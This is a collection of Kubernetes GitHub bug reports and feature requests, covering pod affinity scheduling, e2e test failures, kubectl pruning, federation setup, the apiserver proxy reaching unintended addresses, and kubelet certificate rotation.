hello, i am experimenting with k8s 1.4 pod affinity-antiaffinity,\r i am trying to get k8s to cluster together pods of the same service on the same node as much as possible  ie, only go to next node if not possible to put more on the node where the service is already in \r to do so, i setup\r \r 1- a hard  requiredduringscheduling  anti-affinity to exclude running where a diffrent service is already running  pod_label_xyz not in  value-a  \r 2- a soft  preferredduringscheduling  affinity to try to run where the same service  pod_label_xyz in  value-a   - weight 100\r 3- a soft  preferredduringscheduling  anti-affinity to try not to run where the same service is not already running  pod_label_xyz does not exist  - weight 100\r \r what i see from testing is that when having 5 nodes and 3 services pod_label_xyz &  value-a, value-b, value-c  with 1 pod each created with a replication controller, is that the first pods get scheduled properly and when scaling up any of them the 1st hard rule is respected by k8s....but the 2nd and 3rd soft rules  which is actually redundant of the 2nd  is not respected....i see that when i scale up k8s tries to push pods to empty node  not used by any other service  even though there is capacity to schedule more where the service is already running. in fact if i scale up even more, new pods get created on the original node as well as the new  previously unused nodes \r \r please advise if i am missing something\r \r thank you\r \r here is the annotation i used\r \r     \r \ scheduler.alpha.kubernetes.io/affinity\ : \ {\\\ podaffinity\\\ :{\\\ preferredduringschedulingignoredduringexecution\\\ : {\\\ weight\\\ :100,\\\ podaffinityterm\\\ :{\\\ labelselector\\\ :{\\\ matchexpressions\\\ : {\\\ key\\\ :\\\ pod_label_xyz\\\ ,\\\ operator\\\ :\\\ exists\\\ },{\\\ key\\\ :\\\ pod_label_xyz\\\ ,\\\ operator\\\ :\\\ in\\\ ,\\\ values\\\ : \\\ value-a\\\  } },\\\ namespaces\\\ : \\\ sspni-882-frj\\\  ,\\\ topologykey\\\ :\\\ kubernetes.io/hostname\\\ }} }          ,          \\\ podantiaffinity\\\ :{\\\ requiredduringschedulingignoredduringexecution\\\ : {\\\ labelselector\\\ :{\\\ matchexpressions\\\ : {\\\ key\\\ :\\\ pod_label_xyz\\\ ,\\\ operator\\\ :\\\ exists\\\ },{\\\ key\\\ :\\\ pod_label_xyz\\\ ,\\\ operator\\\ :\\\ notin\\\ ,\\\ values\\\ : \\\ value-a\\\  } },\\\ namespaces\\\ : \\\ sspni-882-frj\\\  ,\\\ topologykey\\\ :\\\ kubernetes.io/hostname\\\ }           ,          \\\ preferredduringschedulingignoredduringexecution\\\ : {\\\ weight\\\ :100,\\\ podaffinityterm\\\ :{\\\ labelselector\\\ :{\\\ matchexpressions\\\ : {\\\ key\\\ :\\\ pod_label_xyz\\\ ,\\\ operator\\\ :\\\ doesnotexist\\\ } },\\\ namespaces\\\ : \\\ sspni-882-frj\\\  ,\\\ topologykey\\\ :\\\ kubernetes.io/hostname\\\ }}    }}\ ,\r

is this a bug report or feature request?  \r bug report\r \r   kubernetes version    use  kubectl version  :\r kubernetes/master using cri with docker\r \r   what happened  :\r \r create a pod that uses a readiness probe that does an exec to command that doesnt exist\r \r    \r $ kubectl create -f https://raw.githubusercontent.com/openshift-qe/v3-testfiles/master/pods/tc533910/readiness-probe-exec.yaml\r    \r \r see the following in logs:\r \r    \r cat /tmp/kubelet.log\r i0522 16:21:05.941271   12546 prober.go:106  readiness probe for \ hello-pod_default 231fd935-3f2c-11e7-bc2e-c85b76cda386 :hello-pod\  failed  failure : rpc error: code = 13 desc = invalid header field value \ oci runtime error: exec failed: container_linux.go:247: starting container process caused \\\ exec: \\\\\\\ /bin/hello\\\\\\\ : stat /bin/hello: no such file or directory\\\ \ \ \r e0522 16:21:05.941351   12546 event.go:260  could not construct reference to: '&v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ hello-pod\ , uid:\ 231fd935-3f2c-11e7-bc2e-c85b76cda386\ , apiversion:\ v1\ , resourceversion:\ 234\ , fieldpath:\ spec.containers{hello-pod}\ }' due to: 'object does not implement the list interfaces'. will not report event: 'warning' 'unhealthy' 'readiness probe failed: rpc error: code = 13 desc = invalid header field value \ oci runtime error: exec failed: container_linux.go:247: starting container process caused \\\ exec: \\\\\\\ /bin/hello\\\\\\\ : stat /bin/hello: no such file or directory\\\ \ \ \r    \r \r   what you expected to happen  :\r no error in log, expected the event to properly be thrown.\r \r   how to reproduce it    as minimally and precisely as possible :\r see above.\r \r   anything else we need to know  :\r nope.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r head abe63a18900d9289bda4316ea418a444d71830df\r \r   environment  :\r -   cloud provider or hardware configuration  : local vm\r -   os    e.g. from /etc/os-release : ubuntu 14.04.4 lts, trusty tahr\r -   kernel    e.g.  uname -a  : linux ubuntu 4.2.0-27-generic  32~14.04.1-ubuntu smp fri jan 22 15:32:26 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r running  make test-e2e-node  on local dev env cannot pass all tests.\r \r got:\r    \r summarizing 1 failure:\r \r  fail   k8s.io  summary api when querying /stats/summary  it  should report resource usage through the stats api \r /home/cloud/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:268\r \r ran 174 of 222 specs in 1089.740 seconds\r fail! -- 173 passed | 1 failed | 0 pending | 48 skipped \r    \r \r the failed test case:\r    \r ^  91m^  1m• failure  150.789 seconds ^  0m\r  k8s.io  summary api\r ^  90m/home/cloud/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:617^  0m\r   when querying /stats/summary\r   ^  90m/home/cloud/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:272^  0m\r     ^  91m^  1mshould report resource usage through the stats api  it ^  0m\r     ^  90m/home/cloud/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:271^  0m\r \r     ^  91mtimed out after 60.001s.\r     expected\r         <string>: summary\r     to match fields: {\r     .node.memory:\r         expected\r             <string>: memorystats\r         to match fields: {\r         .rssbytes:\r                 expected\r                     <uint64>: 1898938368\r                 to be <=\r                     <int64>: 1000000000\r         }\r \r     }\r     ^  0m\r \r     /home/cloud/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:268\r    \r \r   what you expected to happen  :\r all tests pass.\r \r   how to reproduce it    as minimally and precisely as possible :\r run 'make test-e2e-node  directly with head.\r \r   anything else we need to know  :\r \r 

today, listers are generated with a  expansion  interface which allows for custom listing methods.  these methods generally require custom indexes.  there is not a corresponding expansion or lookup in informers to provide the indexes.\r \r the informer already has a dependency on the lister, so we should create a in the generated listers which returns  additional<type>indexes  and respects information from the expansion.\r \r @kubernetes/sig-api-machinery-misc

we use headless service to deploy stateful resource. the stateful resource is deploy ok. but we found that the headless service can not  support node port and loadbalance service type. so it can not support be called through lb.\r \r how can we to solve it?\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r when using the hostname-override flag and a cloud provider the hostname-override value gets ignored. see \r \r https://github.com/kubernetes/kubernetes/blob/7df2bce1ece551800edb1a8f1f62adecbd11cff5/pkg/kubelet/kubelet.go l308\r and\r https://github.com/kubernetes/kubernetes/blob/7df2bce1ece551800edb1a8f1f62adecbd11cff5/pkg/kubelet/kubelet.go l320\r \r @kubernetes/sig-node-bugs\r \r   what you expected to happen  :\r the docu of the flag states 'if non-empty, will use this string as identification instead of the actual hostname' so i would that to be still valid even if i use a cloud provider.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start kubelet with override-hostname and a cloud provider.\r this might be a problem when running an update on a cluster by adding a cloud provider and using override-hostname. the node might not update its state because the node identifier changed.\r \r   anything else we need to know?  :\r i'm not sure whether this is actually working as expected. if so, it's not clear to me by reading the docu.\r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r  mjoeh@kube-master-02 ~ $ /usr/local/bin/kubectl version\r 2017-07-14 09:20:07.926109 i | proto: duplicate proto type registered: google.protobuf.any\r 2017-07-14 09:20:07.926791 i | proto: duplicate proto type registered: google.protobuf.duration\r 2017-07-14 09:20:07.926829 i | proto: duplicate proto type registered: google.protobuf.timestamp\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+coreos.0\ , gitcommit:\ 8c1bf133b4129042ef8f7d1ffac1be14ee83ed10\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t17:46:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+coreos.0\ , gitcommit:\ 8c1bf133b4129042ef8f7d1ffac1be14ee83ed10\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t17:46:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r vsphere\r - os  e.g. from /etc/os-release :\r centos linux release 7.3.1611  core \r - kernel  e.g.  uname -a  :\r linux kube-master-02.t24.stagec.sg-cloud.co.uk 4.4.76-1.el7.elrepo.x86_64  1 smp wed jul 5 12:10:20 edt 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubespray\r - others:\r

this is to track a discussion around promoting alternate api resource representations  https://github.com/kubernetes/kubernetes/pull/33900, https://github.com/kubernetes/community/pull/123  to beta. more specifically, the  partialobjectmetadata  type via  accept  header media type parameters is important for:\r \r   garbage collector optimization  https://github.com/kubernetes/kubernetes/issues/49718, https://github.com/kubernetes/kubernetes/issues/30180 \r   efficient object count quota support  https://trello.com/c/aybfzlz8, kubernetes issue forthcoming \r \r it's not entirely clear to me if there's a single pr, issue, or commit to reference in service of the promotion, so i've collected a list of what i think are relevant historical links:\r \r   https://github.com/kubernetes/kubernetes/pull/44685\r   https://github.com/kubernetes/community/pull/363\r   https://github.com/kubernetes/kubernetes/commit/f203e42cb98ed4bac7ad8ebbed717d3bd42f55b6\r   https://github.com/kubernetes/kubernetes/pull/40848\r \r  @kubernetes/sig-api-machinery-feature-requests \r

 \r the use case that i was trying to get  kubectl apply --prune  to accommodate was to have it act as a sort of syncing tool between the targeted cluster and a git monorepo containing all resource manifests that we want deployed in the cluster  this monorepo would essentially represent \ here are the only resources we want deployed to a cluster in namespaces other than the  kube-system  one . in the  kube-system  namespace  this is on gke , there are resources that we do not really manage and hence do not want to touch or delete. i was wondering if it's currently possible or would be possible to run some variation of  kubectl apply --prune  to achieve the following:\r \r - ensure all resources in the git monorepo are deployed to the cluster\r - ensure that all resources that were running in the cluster but not represented in the git monorepo are deleted\r - ignore pruning resources in a specific namespace   kube-system  , but do not ignore applying resources to that namespace\r \r i understand there's a prune whitelist, but it seems that it's not for namespaces or the like but rather for resource types ?\r \r things we've tried:\r - applying a metadata label to all resources in the monorepo  ex.  status=deployed   and running  kubectl apply -r -f . --prune -l status=deployed . this will avoid the  kube-system  namespace resources  because they do not have the  status=deployed  label  and will delete running resources \r from the cluster once they have their  status  label changed in the resource manifest. however, deleting a resource manifest file and running that apply command will not delete the the running resource correlated with the deleted resource manifest file.\r -  kubectl apply -r -f . --prune --all  will prune resources in the  kube-system  namespace\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >   \r   what happened:  \r   1.building mysql cluster on k8s 1.10  \r kubectl get pods -o wide\r name      ready     status    restarts   age       ip            node\r mysql-0   2/2       running   0          20m       172.17.84.5   192.168.207.12\r mysql-1   2/2       running   0          5m        172.17.27.2   192.168.207.11\r kubectl get svc\r name         type        cluster-ip      external-ip   port s           age\r kubernetes   clusterip   10.254.0.1      <none>        443/tcp          3d\r mysql        clusterip   none            <none>        3306/tcp         3d\r mysql-read   nodeport    10.254.14.159   <none>        3306:26704/tcp   3d\r \r   2.using mysql client to connect database  \r mysql -uroot -h192.168.207.12 -p26704\r mysql  mysql > select   from proxies_priv;\r +-----------+------+--------------+--------------+------------+----------------------+---------------------+\r | host      | user | proxied_host | proxied_user | with_grant | grantor              | timestamp           |\r +-----------+------+--------------+--------------+------------+----------------------+---------------------+\r | localhost | root |              |              |          1 | boot@connecting host | 0000-00-00 00:00:00 |\r +-----------+------+--------------+--------------+------------+----------------------+---------------------+\r 1 row in set  0.00 sec \r \r   3.using conntrack to query connections  \r conntrack -l | grep 26704\r tcp      6 86364 established src=192.168.207.10 dst=192.168.207.12 sport=51796 dport=26704 src=172.17.27.2 dst=172.17.84.0 sport=3306 dport=51796  assured  mark=0 use=1\r conntrack v1.4.3  conntrack-tools : 232 flow entries have been shown.\r \r   4.when the node is missing  \r kubectl get nodes\r name             status     roles     age       version\r 192.168.207.11   notready   <none>    3d        v1.10.5\r 192.168.207.12   ready      <none>    3d        v1.10.5\r \r   5.executing the query sql on the mysql client causes the client to get stuck. using the conntrack query connection, you get the following results  \r mysql -uroot -h192.168.207.12 -p26704\r mysql  mysql > select   from proxies_priv;\r \r conntrack -l | grep 26704\r tcp      6 298 established src=192.168.207.10 dst=192.168.207.12 sport=51796 dport=26704 src=172.17.27.2 dst=172.17.84.0 sport=3306 dport=51796  assured  mark=0 use=1\r conntrack v1.4.3  conntrack-tools : 231 flow entries have been shown.\r \r   6.use conntrack -d to clear connections and connect properly.  \r conntrack -d\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: x86_64\r - os  e.g. from /etc/os-release :centos7.2.1511\r - kernel  e.g.  uname -a  :3.10.0-327.el7.x86_64\r - install tools:\r - others:\r

what would you like to be added  :\r as per @geetikabatra comment here https://github.com/kubernetes/community/issues/2770 issuecomment-468992056, can we benefit from more unit tests on the openstack provider? if yes, @dims can you provide some guidance on what areas of the provider can benefit the most from this? \r \r thanks @geetikabatra for offering to help! \r

trying to use the  downward api  https://github.com/googlecloudplatform/kubernetes/blob/master/docs/downward_api.md  inside of a list object results in an error when trying to create the objects:  > error: replicationcontroller \ backend-rc\  is invalid:  spec.template.spec.containers 0 .env 0 .valuefrom.fieldref.fieldpath: invalid value 'metadata.name': error converting fieldpath, spec.template.spec.containers 0 .env 1 .valuefrom.fieldref.fieldpath: invalid value 'metadata.namespace': error converting fieldpath   example:      yaml  --- apiversion: v1beta3 kind: list items: - kind: replicationcontroller   metadata:     name: backend-rc     labels:       type: backend-type   spec:     replicas: 3     template:       metadata:         labels:           type: backend-type       spec:         containers:         - name: backend-container           image: gcr.io/google-samples/env-backend:1.1           imagepullpolicy: always           ports:           - containerport: 5000             protocol: tcp           env:           - name: pod_name             valuefrom:               fieldref:                 fieldpath: metadata.name           - name: pod_namespace             valuefrom:               fieldref:                 fieldpath: metadata.namespace - kind: service   metadata:     name: backend-srv     labels:       type: backend-type   spec:     ports:     - port: 5000       protocol: tcp     selector:       type: backend-type      taking the replication controller out of the list and running  kubectl create -f  with just the rc works fine:      yaml  --- apiversion: v1beta3 kind: replicationcontroller metadata:   name: backend-rc   labels:     type: backend-type spec:   replicas: 3   template:     metadata:       labels:         type: backend-type     spec:       containers:       - name: backend-container         image: gcr.io/google-samples/env-backend:1.1         imagepullpolicy: always         ports:         - containerport: 5000           protocol: tcp         env:         - name: pod_name           valuefrom:             fieldref:               fieldpath: metadata.name         - name: pod_namespace           valuefrom:             fieldref:               fieldpath: metadata.namespace

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/29986/kubernetes-pull-build-test-e2e-gce/51596/  failed:  k8s.io  docker containers should be able to override the image's default commmand  docker entrypoint   conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/docker_containers.go:54 error creating pod expected error:     < url.error | 0xc82040c210>: {         op: \ post\ ,         url: \ https://104.155.177.28/api/v1/namespaces/e2e-tests-containers-nkgxg/pods\ ,         err: {             op: \ dial\ ,             net: \ tcp\ ,             source: nil,             addr: {                 ip: \ \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xffh\\x9b\\xb1\\x1c\ ,                 port: 443,                 zone: \ \ ,             },             err: {},         },     }     post https://104.155.177.28/api/v1/namespaces/e2e-tests-containers-nkgxg/pods: dial tcp 104.155.177.28:443: i/o timeout not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:50      happened on a presubmit run in  29986.

i created a cluster  1.4.3  on gce using kube-up.sh and then followed instructions on deploying the federation control plane -> http://kubernetes.io/docs/admin/federation/  after running deploy.sh deploy_federation the  federation-apiserver-credentials  and  federation-controller-manager-kubeconfig  secrets are not created in the  federation  namespace. the api server and controller do not start with the following errors:  > 2016-10-17 05:30:40 +0000 utc   2016-10-17 05:30:24 +0000 utc   6         federation-apiserver-3093677159-wpcs0            pod                      warning   failedmount            {kubelet kubernetes-minion-group-svel}   mountvolume.setup failed for volume \ kubernetes.io/secret/c9997bfd-942a-11e6-a0cc-42010af00007-federation-apiserver-credentials\   spec.name: \ federation-apiserver-credentials\   pod \ c9997bfd-942a-11e6-a0cc-42010af00007\   uid: \ c9997bfd-942a-11e6-a0cc-42010af00007\   with: secrets \ federation-apiserver-credentials\  not found >  > 2016-10-17 05:30:49 +0000 utc   2016-10-17 05:30:17 +0000 utc   7         federation-controller-manager-3046679825-ce3o2   pod                   warning   failedmount   {kubelet kubernetes-minion-group-svel}   mountvolume.setup failed for volume \ kubernetes.io/secret/c99c21c1-942a-11e6-a0cc-42010af00007-kubeconfig\   spec.name: \ kubeconfig\   pod \ c99c21c1-942a-11e6-a0cc-42010af00007\   uid: \ c99c21c1-942a-11e6-a0cc-42010af00007\   with: secrets \ federation-controller-manager-kubeconfig\  not found

@kubernetes/kubectl \r \r a lot of us are going to start using kubectl as a way to manage the clusters right from our laptop. which is why kubectl should support the u2f standard that is being used everywhere from dropbox, github to google. https://security.googleblog.com/2014/10/strengthening-2-step-verification-with.html\r \r

is this a bug report or feature request?    choose one :\r feature request.\r \r   kubernetes version    use  kubectl version  :\r master\r \r   what happened  :\r per comments at  38871, we're going to add more e2e test for multiple scheduler features.\r \r >we decided to defer e2e tests when this feature went to alpha because we thought we were going to do a \ next step\  for this feature  an admission controller that would take a high-level policy configuration, and based on that, add the scheduler name annotations to the incoming pods , and i thought the integration test was sufficient until then. well, we ended up not doing the next step, and i who knows if/when it will ever be done, so i think now is a very good time to do one or more e2e tests. @k82cn do you think you can do it in a follow-up pr?\r \r >as for back-to-back bindings from different schedulers, which @timothysc mentioned: the kubelet does admission control that checks for sufficient resources etc., so we are relying on that to ensure the node doesn't become overcomitted with respect to request. unfortunately non-node-local properties aren't checked by the kubelet, but i think the only one that matters right now is non-node topologykey for pod anti-affinity  e.g. \ don't put this pod in the same zone as any pods that match label selector x\  , and we said we were probably going to disable that when it goes to beta in 1.6...\r \r /cc @davidopp @timothysc \r

recent changes to etcd3 have made it easier to embed the etcd server into the executable: https://github.com/coreos/etcd/pull/7496/files\r \r before that, there was little motivation other then deployment and distribution.  this would allow for an easier deployment model and increased performance for in-process embedding sans-transport , which may even lead to cache-reduction or elimination.  \r \r the tradeoff here is the apiserver will need to be deployed in 1,3,5. \r \r as we talk about kubeadm-ha deployments we may want to consider this approach. \r \r /cc @kubernetes/sig-scalability-feature-requests @kubernetes/sig-cluster-lifecycle-feature-requests \r

i just started getting the following error on my   macos   development environment while running  hack/update-staging-client-go.sh , it wasn't happening until about two weeks ago.\r \r    \r $ hack/update-staging-client-go.sh\r checking whether godeps are restored\r running staging/copy.sh\r   creating the tmp directory\r   copying client packages\r   generating vendor/\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/registry/generic/registry/127.0.0.1:21001.23833.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/registry/generic/registry/127.0.0.1:21002.23833.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/registry/generic/registry/localhost:node8905099081596835425.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/registry/generic/registry/localhost:node8905099081596835425.sock.bridge': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/server/127.0.0.1:21001.23844.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/server/127.0.0.1:21002.23844.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/server/localhost:node4756150627307652614.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/server/localhost:node4756150627307652614.sock.bridge': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/storage/etcd3/127.0.0.1:21001.23883.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/storage/etcd3/127.0.0.1:21002.23883.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/storage/etcd3/localhost:node8298016826736746076.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/storage/etcd3/localhost:node8298016826736746076.sock.bridge': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/storage/storagebackend/factory/127.0.0.1:21001.23888.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/storage/storagebackend/factory/127.0.0.1:21002.23888.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/storage/storagebackend/factory/localhost:node3557320102401911096.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/storage/storagebackend/factory/localhost:node3557320102401911096.sock.bridge': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/storage/tests/127.0.0.1:21001.23889.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/storage/tests/127.0.0.1:21002.23889.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/storage/tests/localhost:node1310323144714908220.sock': operation not permitted\r   cp: cannot create special file '/var/folders/l1/9kr7z71j2d370sxlc7x6jx6m00dl55/t/tmp.d1rxpyxnyy/go/src/k8s.io/apiserver/pkg/storage/tests/localhost:node1310323144714908220.sock.bridge': operation not permitted\r   !!! error in staging/copy.sh:125\r     error in staging/copy.sh:125. 'cp -a \ ${kube_root}/staging/src/k8s.io/${repo}\  \ ${tmp_gopath}/src/k8s.io/\ ' exited with status 1\r   call stack:\r     1: staging/copy.sh:125 main ... \r   exiting with status 1\r

the deprecation warning has been added in pr  46327\r \r this flag can be removed either after next release 1.8  or 6 months nov. 2017 , whichever is longer. keeping this issue open until we remove it.

is this a bug report or feature request?  : bug report\r  \r   what happened  : trying to implement stage 1 cloud provider controller manager for gce  or azure etc  and run the e2e tests we see a lot of errors trying to load the relevant plugin. for this we have the cloud provider on kube controller manager set to external. there are two plugin managers, one of which has the relevant plugins but the other does not. so we are loading the plugin, however when we go through the hampered plugin manager we get an error loading the plugin.\r \r   what you expected to happen  : until we properly separate the cloud provider plugins from kube-controller-manager the plugin should be found.\r \r   how to reproduce it  as minimally and precisely as possible   : get state 1 working for one of the affected cloud providers. \r \r   anything else we need to know?  : i believe we do want to remove the cloud plugins from kube-controller-manager, however the current attempt is not complete and i think hampering us from doing it the way we want to.\r \r   environment  : gce\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i have a 3 node kubernetes cluster, a master and two nodes on aws that i created with kubeadm  https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/ \r \r i have created some deployments from the master node and i can see that pods are created on the 2 nodes for each of the deployments. but the issue is i can't access the pod ip from the master or from the other node. so the pod ip is only accessible on the node where is pod is running.\r \r thanks.

is this a bug report or feature request?  :\r \r  /area hw-accelerators\r  \r   what happened  :\r the deviceplugin's test   testcheckpoint   https://github.com/kubernetes/kubernetes/blob/45db5e7260d47f01106c3f0401f9c779f9b386c0/pkg/kubelet/cm/deviceplugin/manager_test.go l259  doesn't cleanup the checkpoint file.\r \r   what was expected  :\r the file should be cleaned up by calling  os.remove manager.checkpointfile    .\r \r anything else we need to know?:\r propose we fix this in pr  56284\r /assign @jiayingz\r

if you create a service without a selector and manually set endpoints, and then make a request via the service websockets proxy on the api server the network connection is initiated from the apiserver's network namespace, not the client.\r \r this means that using this technique a user can access ip address that they may not be privileged to access  for example services in other namespaces .\r \r we should restrict the api proxy to only target pods within the namespace of the service.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i'm testing the new  --rotate-server-certificates  option in kubernetes 1.12 and it seems that kubelet always requests the signing of a new csr and tries to rotate the certificates when it is started. this is happening even though there's a valid  brand new  certificate on disk issued by kube-controller-manager.\r \r from what i can tell, this is happening because kubelet implements  gettemplate  and  lastrequest  is set after a successful certificate rotation, but is never persisted to disk. if kubelet is restarted, then the last requested csr is nil.\r \r https://github.com/kubernetes/client-go/blob/9c81604894197dbfe4424c19193068dc5211db9d/util/certificate/certificate_manager.go l274-l283\r \r   what you expected to happen  :\r \r ideally, kubelet should only request the signing of a new csr if it doesn't already have a serving certificate or it's about to expire.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   restart a kubelet instance that had it's serving certificate issued by kube-controller-manager\r   check  kubectl get csr  and see that it requested the signing of a new csr\r \r   anything else we need to know?  :\r \r kubelet is being run with  --rotate-server-certificates .  --cert-dir ,  --tls-cert-file , and  --tls-private-key-file  are all omitted to use the default values.\r \r the tls bootstrapping for client certificates is currently not being used--just the bootstrapping for serving certificates.\r \r   environment  :\r - kubernetes version: v1.12.0 - built from source at the  v1.12.0  tag  0ed33881dc4355495f623c6f22e7dd0b7632b7c0 \r - cloud provider or hardware configuration: bare metal\r - os: centos 7.5.1804\r - kernel:  3.10.0-862.14.4.el7.x86_64 \r - install tools: custom rpms built from this git repo with no additional patches\r - others:  